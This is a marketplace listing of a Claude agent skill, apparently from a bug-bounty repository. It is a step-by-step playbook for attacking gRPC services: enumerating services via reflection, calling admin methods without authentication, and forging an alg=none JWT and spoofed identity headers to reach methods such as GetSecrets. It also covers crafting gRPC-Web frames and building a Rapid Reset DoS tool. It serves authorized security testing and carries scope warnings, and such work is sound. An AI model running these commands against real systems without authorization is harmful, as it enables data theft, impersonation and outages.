{"slug":"hunt-grpc","title":"hunt-grpc","summary":"Hunt gRPC vulnerabilities — server reflection enabled (enumerate all services/methods), missing authentication / metadata-stripping on internal endpoints, plaintext gRPC over HTTP/2, internal endpoint disclosure, proto file leakage, gRPC-Web/grpc-gateway transcoding injection, an","platform":"Claude","tags":[],"authorName":"LLM Mart","authorSlug":"llm-mart","score":0,"source":"github","price":null,"verified":false,"createdAt":"2026-08-24T05:37:47.04128Z","repo":{"url":"https://github.com/elementalsouls/Claude-BugHunter","stars":4626,"forks":696,"license":"MIT","updatedAt":"2026-09-23T09:21:09Z"},"bodyHtml":"<hr>\n<h2>name: hunt-grpc\ndescription: \"Hunt gRPC vulnerabilities — server reflection enabled (enumerate all services/methods), missing authentication / metadata-stripping on internal endpoints, plaintext gRPC over HTTP/2, internal endpoint disclosure, proto file leakage, gRPC-Web/grpc-gateway transcoding injection, and HTTP/2 Rapid Reset DoS (CVE-2023-44487). Use when target exposes port 50051 / 443 / 8443 / 9090 with HTTP/2, when grpcurl/grpcui detects reflection, when an Envoy or grpc-gateway proxy is fronting a microservice, or when recon reveals a microservice architecture.\"\nsources: hackerone_public, grpc_security_research, cert_cc_advisory\nreport_count: 6</h2>\n<h1>HUNT-GRPC — gRPC Security</h1>\n<h2>Crown Jewel Targets</h2>\n<p>gRPC reflection enabled = full service catalog enumeration without source code. The highest-value gRPC bugs come from the architectural assumption that a service is \"internal\" — auth is enforced at the edge proxy, and the backend trusts any caller that reaches it. Once you reach the backend directly (exposed port, SSRF, proxy bypass), that trust collapses.</p>\n<p><strong>Highest-value findings:</strong></p>\n<ul>\n<li><strong>Reflection enabled in production</strong> — <code>grpc.reflection.v1alpha.ServerReflection</code> / <code>grpc.reflection.v1.ServerReflection</code> lists every method, message, and internal service. Enumeration enabler, not a vuln on its own (see Validation).</li>\n<li><strong>Missing auth on internal service</strong> — a service designed for east-west microservice traffic exposed externally with no mTLS and no per-method authorization → call privileged methods directly.</li>\n<li><strong>Edge-auth-only / metadata-stripping</strong> — proxy authenticates the user but the backend re-trusts proxy-injected headers (<code>x-user-id</code>, <code>x-tenant-id</code>, <code>x-forwarded-*</code>); if you reach the backend or can inject those headers via the proxy, you impersonate any tenant.</li>\n<li><strong>Plaintext gRPC</strong> — gRPC h2c (cleartext HTTP/2) on a non-standard port → credential/metadata interception.</li>\n<li><strong>HTTP/2 Rapid Reset DoS (CVE-2023-44487)</strong> — interleaved HEADERS + immediate RST_STREAM frames bypass <code>MAX_CONCURRENT_STREAMS</code> accounting → resource exhaustion. <strong>DoS is in scope on almost no program — get explicit written authorization before sending a single burst.</strong></li>\n</ul>\n<hr>\n<h2>Phase 1 — Fingerprint &amp; Port Discovery</h2>\n<pre><code># Common gRPC ports (50051 native; 443/8443 via TLS+ALPN h2; 9090/8080 h2c)\nnmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2&gt;/dev/null | grep open\n\n# ALPN must negotiate h2 — gRPC cannot run on HTTP/1.1\necho | openssl s_client -alpn h2 -connect $TARGET:443 2&gt;/dev/null | grep -i \"ALPN.*h2\"\n\n# Native-gRPC fingerprint: an HTTP/2 POST to a bogus method returns a grpc-status\n# trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.\ncurl -s --http2-prior-knowledge -X POST \"http://$TARGET:9090/x.Y/Z\" \\\n  -H \"content-type: application/grpc\" -o /dev/null -D - | grep -i grpc-status\n\n# TLS-fronted h2 (port 443): look for grpc-status trailer / grpc content-type\ncurl -s --http2 -X POST \"https://$TARGET/grpc.health.v1.Health/Check\" \\\n  -H \"content-type: application/grpc-web+proto\" -o /dev/null -D - | grep -i \"grpc-status\\|content-type\"\n</code></pre>\n<p><code>grpc-status</code> trailer present ⇒ a gRPC server (or grpc-gateway/Envoy) is behind that port. <code>UNIMPLEMENTED</code> on a random path is normal and only confirms the transport — not a finding.</p>\n<hr>\n<h2>Phase 2 — Service Enumeration via Reflection</h2>\n<pre><code>brew install grpcurl   # or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest\n\n# List services — -plaintext for h2c, -insecure for self-signed TLS, plain for valid TLS\ngrpcurl -plaintext $TARGET:50051 list\ngrpcurl -insecure  $TARGET:443   list\n\n# Typical output when reflection is on:\n#   grpc.reflection.v1.ServerReflection\n#   grpc.health.v1.Health\n#   user.UserService\n#   admin.AdminService\n#   payment.PaymentService\n\n# List + describe every method of each service\ngrpcurl -plaintext $TARGET:50051 list admin.AdminService\ngrpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser\ngrpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest   # message schema\n\n# Dump the whole catalog to triage interesting surfaces\nfor SVC in $(grpcurl -plaintext $TARGET:50051 list); do\n  echo \"== $SVC ==\"; grpcurl -plaintext $TARGET:50051 list \"$SVC\"\ndone | tee grpc-catalog.txt\ngrep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt\n</code></pre>\n<p><strong>Reflection disabled?</strong> You can still call known methods if you can guess them, or rebuild the descriptor set from a leaked <code>.proto</code> (Phase 5) and pass it with <code>grpcurl -protoset bundle.bin ...</code>. Reflection-off is a hardening control, not a security boundary.</p>\n<hr>\n<h2>Phase 3 — Call Methods Without Authentication (authz testing)</h2>\n<pre><code># Baseline: call a sensitive method with NO auth metadata\ngrpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService/ListUsers\n\n# IDOR across an enumerable id field\nfor ID in 1 2 3 100 1000 1001; do\n  echo \"id=$ID\"; grpcurl -plaintext $TARGET:50051 \\\n    -d \"{\\\"user_id\\\": $ID}\" user.UserService/GetUser 2&gt;&amp;1 | head -4\ndone\n</code></pre>\n<p><strong>Interpret the gRPC status code, not just whether bytes came back (see Validation):</strong></p>\n<ul>\n<li><code>OK</code> + populated response → method executed unauthenticated → finding.</li>\n<li><code>Unauthenticated (16)</code> / <code>PermissionDenied (7)</code> → authz is enforced; NOT a finding.</li>\n<li><code>Unimplemented (12)</code> → wrong path / method not on this server.</li>\n<li><code>InvalidArgument (3)</code> → reached and parsed your input → method is callable; fix the payload and retry.</li>\n</ul>\n<hr>\n<h2>Phase 4 — Authentication / Trust-Boundary Bypass</h2>\n<pre><code># (a) Forged bearer / alg=none JWT in the authorization metadata\ngrpcurl -plaintext $TARGET:50051 \\\n  -H \"authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0.\" \\\n  -d '{}' admin.AdminService/GetConfig\n\n# (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and\n#     then trust identity injected as metadata. If the edge does not STRIP these,\n#     spoofing them = full impersonation. Test every plausible name:\nfor H in \"x-user-id: 1\" \"x-authenticated-user: admin\" \"x-tenant-id: 0\" \\\n         \"x-internal-request: true\" \"x-forwarded-for: 127.0.0.1\" \\\n         \"x-envoy-internal: true\" \"grpc-internal-encoding-request: true\"; do\n  echo \"== $H ==\"\n  grpcurl -plaintext $TARGET:50051 -H \"$H\" -d '{}' internal.InternalService/GetSecrets 2&gt;&amp;1 | head -3\ndone\n\n# (c) Binary metadata smuggling — keys ending in -bin are base64-decoded by the\n#     server; some auth middlewares only inspect text metadata, missing -bin keys.\ngrpcurl -plaintext $TARGET:50051 -H \"auth-token-bin: $(printf admin|base64)\" \\\n  -d '{}' admin.AdminService/GetConfig\n</code></pre>\n<p>The metadata-stripping bug (b) is the gRPC-specific crown jewel: confirm it by sending the spoofed header <strong>directly to the backend port</strong> AND, separately, <strong>through the public proxy</strong> — if the proxy forwards your <code>x-user-id</code> unchanged to the backend, it is exploitable for real users, not just on the bypassed port.</p>\n<hr>\n<h2>Phase 5 — Proto File / Schema Discovery</h2>\n<pre><code># Proxies (Envoy/grpc-gateway) sometimes serve descriptors or swagger\nfor P in proto api/proto swagger.json openapiv2 service.swagger.json descriptor.pb; do\n  S=$(curl -s -o /dev/null -w '%{http_code}' \"https://$TARGET/$P\")\n  [ \"$S\" != 404 ] &amp;&amp; echo \"Found: /$P ($S)\"\ndone\n\n# Source/registry leakage of .proto definitions\ngh search code --owner \"$TARGET_ORG\" 'syntax = \"proto3\"' --limit 20 2&gt;/dev/null\ngh search code --owner \"$TARGET_ORG\" 'service ' filename:.proto --limit 20 2&gt;/dev/null\n\n# Rebuild a descriptor set from leaked protos and drive the API without reflection\nprotoc --descriptor_set_out=bundle.bin --include_imports -I proto/ proto/*.proto\ngrpcurl -protoset bundle.bin -plaintext $TARGET:50051 list\n</code></pre>\n<p>Proto leakage on its own is low severity; its value is as the key that unlocks Phases 3–4 against a reflection-disabled target.</p>\n<hr>\n<h2>Phase 6 — gRPC-Web / grpc-gateway / JSON-Transcoding Attacks</h2>\n<p>gRPC almost always reaches the browser through a transcoder: <strong>Envoy <code>grpc_web</code>/<code>grpc_json_transcoder</code></strong>, <strong>grpc-gateway</strong> (REST↔gRPC), or <strong>Connect</strong>. These translators are the realistic external attack surface and frequently re-expose internal methods.</p>\n<pre><code># (a) grpc-gateway maps gRPC methods to REST. Reflection-derived method names often\n#     map predictably — hit them over plain HTTP/JSON (no gRPC client needed):\ncurl -s -X POST \"https://$TARGET/v1/admin/users:list\" -H 'content-type: application/json' -d '{}'\ncurl -s -X POST \"https://$TARGET/admin.AdminService/ListUsers\" \\\n  -H 'content-type: application/json' -d '{}'    # default unannotated route\n\n# (b) Build a real gRPC-Web length-prefixed frame instead of a hand-waved one.\n#     Frame = 1-byte flag (0x00=data) + 4-byte big-endian length + protobuf payload.\n#     Encode the message with protoscope so the bytes are correct:\n#       protoscope -s &lt;&lt;&lt;'1: 1'  &gt; msg.bin          # field 1 (e.g. user_id) = 1\nMSG=$(xxd -p msg.bin | tr -d '\\n')\nLEN=$(printf '%08x' $((${#MSG}/2)))                 # 4-byte length prefix\nFRAME=$(printf '00%s%s' \"$LEN\" \"$MSG\")\necho \"$FRAME\" | xxd -r -p &gt; frame.bin\ncurl -s \"https://$TARGET/user.UserService/GetUser\" \\\n  -H 'content-type: application/grpc-web+proto' -H 'x-grpc-web: 1' \\\n  --data-binary @frame.bin | xxd | head\n\n# (c) grpc-web+json variant (Envoy/Connect) — no manual framing needed:\ncurl -s \"https://$TARGET/user.UserService/GetUser\" \\\n  -H 'content-type: application/grpc-web+json' -H 'x-grpc-web: 1' \\\n  -d '{\"user_id\": 1}'\n\n# (d) Connect protocol (buf): plain JSON POST, unary, no framing:\ncurl -s \"https://$TARGET/user.UserService/GetUser\" \\\n  -H 'content-type: application/json' -H 'connect-protocol-version: 1' \\\n  -d '{\"user_id\": 1}'\n</code></pre>\n<p>Why this matters: the browser-facing transcoder commonly forwards to the SAME backend as the internal gRPC plane. If the transcoder route exposes <code>AdminService</code> or fails to require the auth the gRPC client would have sent, you have a real, externally-reachable authz bug. Confirm each transcoded route returns <code>OK</code> with sensitive data, and verify it is reachable as an unauthenticated/low-priv user (not just from inside the mesh).</p>\n<hr>\n<h2>Phase 7 — HTTP/2 Rapid Reset DoS (CVE-2023-44487)</h2>\n<p><strong>Authorization gate:</strong> DoS is out of scope on the overwhelming majority of programs. Do NOT run this without explicit, written, scoped permission and a target/window the program owner agreed to. Skip to Validation if unsure.</p>\n<p>The attack is NOT a load test. It opens streams (HEADERS) and immediately cancels them (RST_STREAM) before the server finishes, so each cancelled stream frees a <code>MAX_CONCURRENT_STREAMS</code> slot instantly while the server still spends work on it — the client races far ahead of the concurrency cap. <code>h2load</code>/<code>ghz</code> are throughput benchmarkers; <strong>they have no rapid-reset mode and never interleave HEADERS+immediate-RST_STREAM, so they cannot test this.</strong></p>\n<p><strong>Correct tooling — author-sanctioned PoCs that actually emit the frame pattern:</strong></p>\n<pre><code># CERT/CC + community tracking and PoCs for CVE-2023-44487:\n#   https://kb.cert.org/vuls/id/421644\n#   https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/  (Cloudflare writeup)\n# Go PoC that sends HEADERS then immediate RST_STREAM in a tight loop:\ngit clone https://github.com/secengjeff/rapidresetclient\ncd rapidresetclient &amp;&amp; go build -o rapidreset .\n# Detection-only: a SHORT, low-count burst, with permission, then STOP:\n./rapidreset --help    # confirm current flags first, then a SMALL authorized burst, e.g.:\n# ./rapidreset -url https://$TARGET:443 -concurrency 1 -requests 20\n\n# If you must roll your own, use the h2 framing layer (golang.org/x/net/http2)\n# to write a HEADERS frame immediately followed by RST_STREAM(CANCEL) per stream id.\n</code></pre>\n<p><strong>Detection without DoSing — prefer this:</strong> the only thing you need to PROVE is whether mitigations are present. Check the server banner / version and whether it tracks reset floods:</p>\n<pre><code># Fingerprint the HTTP/2 implementation and version (patched versions are known):\ncurl -sI --http2 https://$TARGET/ | grep -i '^server:'\n# nghttp2 &gt;=1.57.0, Go net/http with the 2023-10 fix, Envoy &gt;=1.27.1/1.26.5/1.25.10/1.24.11,\n# grpc-go &gt;=1.56.3/1.57.1/1.58.3 are mitigated. Version-match instead of flooding.\n</code></pre>\n<p>Report the <em>version-confirmed</em> mitigation gap rather than a benchmark slowdown. \"Server got slower under load\" is not proof of CVE-2023-44487 — it produces false positives on slow/under-provisioned servers and false negatives on patched ones that throttle resets gracefully.</p>\n<hr>\n<h2>Tools</h2>\n<pre><code>grpcurl   # primary CLI client (list/describe/call, -protoset for reflection-off)\ngrpcui    # web UI for interactive exploration:  grpcui -plaintext $TARGET:50051\nprotoc + protoscope   # build/inspect raw protobuf and gRPC-Web frames (Phase 6)\nbuf       # lint/inspect proto, drive Connect endpoints\n# DoS-only, AUTHORIZED engagements: secengjeff/rapidresetclient (true rapid-reset PoC).\n#   NOTE: ghz and h2load are LOAD benchmarkers, NOT rapid-reset testers — do not\n#   use them to \"prove\" CVE-2023-44487.\n</code></pre>\n<hr>\n<h2>Chain Table</h2>\n<table>\n<thead>\n<tr>\n<th>gRPC finding</th>\n<th>Chain to</th>\n<th>Impact</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Reflection enabled</td>\n<td>Enumerate all internal service methods + messages</td>\n<td>Full API catalog disclosure (enabler)</td>\n</tr>\n<tr>\n<td>Admin method, no auth</td>\n<td>Call privileged RPCs (<code>DeleteUser</code>, <code>GetConfig</code>)</td>\n<td>Data manipulation / system access — Critical</td>\n</tr>\n<tr>\n<td>Proxy forwards <code>x-user-id</code>/<code>x-tenant-id</code> unstripped</td>\n<td>Spoof identity metadata → cross-tenant impersonation</td>\n<td>Tenant isolation bypass — Critical</td>\n</tr>\n<tr>\n<td>IDOR via enumerable id field</td>\n<td>Iterate <code>user_id</code> over <code>GetUser</code></td>\n<td>Mass PII exfil — High</td>\n</tr>\n<tr>\n<td>grpc-gateway / gRPC-Web route re-exposes internal RPC</td>\n<td>Hit transcoded REST/JSON path unauth</td>\n<td>Externally-reachable authz bypass — High/Critical</td>\n</tr>\n<tr>\n<td>Plaintext h2c on internal port</td>\n<td>MITM / sniff metadata (bearer tokens)</td>\n<td>Credential capture — High</td>\n</tr>\n<tr>\n<td><code>.proto</code> leak (repo/swagger)</td>\n<td><code>-protoset</code> to drive reflection-off target</td>\n<td>Unlocks Phases 3–4 — Low alone, High as enabler</td>\n</tr>\n</tbody>\n</table>\n<p>Related skills: <strong>hunt-idor</strong> (id enumeration logic), <strong>hunt-api-misconfig</strong> (JWT alg=none / mass-assignment in request messages), <strong>hunt-auth-bypass</strong> (edge-vs-backend trust boundary), <strong>hunt-tls-network</strong> (h2c/plaintext + ALPN), <strong>cloud-iam-deep</strong> (if a called RPC returns cloud creds).</p>\n<hr>\n<h2>Validation — false-positive discipline</h2>\n<p>gRPC's failure modes look like successes to a naive <code>grep</code>. Apply these gates before any submission.</p>\n<ol>\n<li><p><strong>Status-code discrimination, not byte-counting.</strong> A non-empty response can still be an error frame. Confirm the <code>grpc-status</code> trailer is <code>0</code> (OK). <code>Unauthenticated (16)</code> / <code>PermissionDenied (7)</code> mean auth WORKS — close the candidate. <code>Unimplemented (12)</code> means you have the wrong method. Re-run with <code>grpcurl -v</code> and read the trailers explicitly.</p>\n</li>\n<li><p><strong>Reflection / health endpoints are often intentionally public.</strong> <code>grpc.reflection.*</code> and <code>grpc.health.v1.Health</code> being reachable is, by itself, <strong>info disclosure (Low/Medium at most)</strong> — many vendors ship reflection on by design. Do NOT report it as \"missing auth\" unless it leaks a non-public service catalog. The finding is the <em>sensitive</em> service you can then call without auth, proven in Phase 3.</p>\n</li>\n<li><p><strong>Distinguish \"no auth\" from \"auth not required for THIS method.\"</strong> Some methods (health, public catalog reads) are legitimately anonymous. Prove the bug by showing an authenticated-vs-unauthenticated <strong>state delta</strong>: the same RPC returns another user's/tenant's private data without credentials, or a mutating admin RPC executes (re-read the changed state to confirm side-effect).</p>\n</li>\n<li><p><strong>Proxy-vs-backend reachability.</strong> A bug reachable only by hitting an internal <code>:50051</code> you found via SSRF/port-scan is real but its severity depends on reachability. State explicitly how an external attacker reaches it (exposed port, SSRF egress, proxy passthrough). For metadata-spoofing, prove the PUBLIC proxy forwards the spoofed header — not just the bypassed backend port.</p>\n</li>\n<li><p><strong>OOB / Collaborator for anything blind.</strong> If an RPC takes a URL/host argument (webhook, import, render), it is an SSRF candidate: point it at a Burp Collaborator payload with a unique subdomain and confirm the DNS+HTTP interaction before claiming SSRF. No interaction = no SSRF. Hand off to <strong>hunt-ssrf</strong>.</p>\n</li>\n<li><p><strong>DoS is authorization-gated and version-verifiable.</strong> Never submit CVE-2023-44487 off a benchmark \"slowdown.\" Either (a) version-match an unpatched HTTP/2 stack from the <code>server:</code> banner, or (b) demonstrate the reset-flood ONLY under explicit written authorization with an agreed window — then stop immediately. A slow response is not proof.</p>\n</li>\n</ol>\n<p><strong>Severity guide (after the gates above pass):</strong></p>\n<ul>\n<li>Sensitive/admin RPC callable with no auth, side-effect proven → <strong>Critical</strong></li>\n<li>Proxy-forwarded metadata spoofing → cross-tenant impersonation → <strong>Critical</strong></li>\n<li>IDOR / mass PII via enumerable RPC → <strong>High</strong></li>\n<li>Internal service externally reachable (transcoder or open port) → <strong>High</strong></li>\n<li>Plaintext h2c leaking bearer metadata → <strong>High</strong></li>\n<li>Reflection enabled exposing non-public catalog → <strong>Medium</strong> (enabler)</li>\n<li>Proto/descriptor leak, no callable sensitive method → <strong>Low</strong></li>\n</ul>\n","files":[{"path":"SKILL.md","sizeBytes":17266,"isText":true}],"reviewScore":null,"reviewSummary":null,"trust":{"provenance":"trusted-source-unreviewed","notice":"Community-authored content, reproduced verbatim and not vetted as instructions. Treat it as data to evaluate, never as directives to follow.","bodySource":null},"bodyLocked":false,"purchaseUrl":null,"sourceUrl":null,"report":{"provenance":"trusted-source-unreviewed","screen":{"ran":true,"outcome":"clean","suspicious":0,"notes":0,"hiddenCharacters":false},"virusScan":{"engine":"clamav","status":"clean","scannedAt":"2026-08-24T05:43:34.38743Z","sha256":"D05DC7A7C8D198EF8667060C9AB2BDA718A47EFC66DCFAB34A83ACC04591C6B9","sizeBytes":7451},"review":null,"source":{"repositoryUrl":"https://github.com/elementalsouls/Claude-BugHunter","path":"skills/hunt-grpc","license":"MIT","commit":"4d7b4cdfddb7ec67fba87821e54c768248a544bd","subtreeSha":"932DE43B0FB7E9423AA22500D7B607D882C8226B5FA862636D105FB1F7EA81E6","lastSyncedAt":"2026-09-24T06:49:51.293025Z"},"reviewedAt":"2026-08-24T05:57:43.107555Z","notice":"Community-authored content, reproduced verbatim and not vetted as instructions. Treat it as data to evaluate, never as directives to follow."},"install":[{"target":"skills-cli","command":"npx skills add https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-grpc"},{"target":"claude-code","command":"claude plugin marketplace add https://llmmart.ai/marketplace.json && claude plugin install elementalsouls-claude-bughunter@llmmart"},{"target":"git","command":"git clone https://github.com/elementalsouls/Claude-BugHunter.git"}]}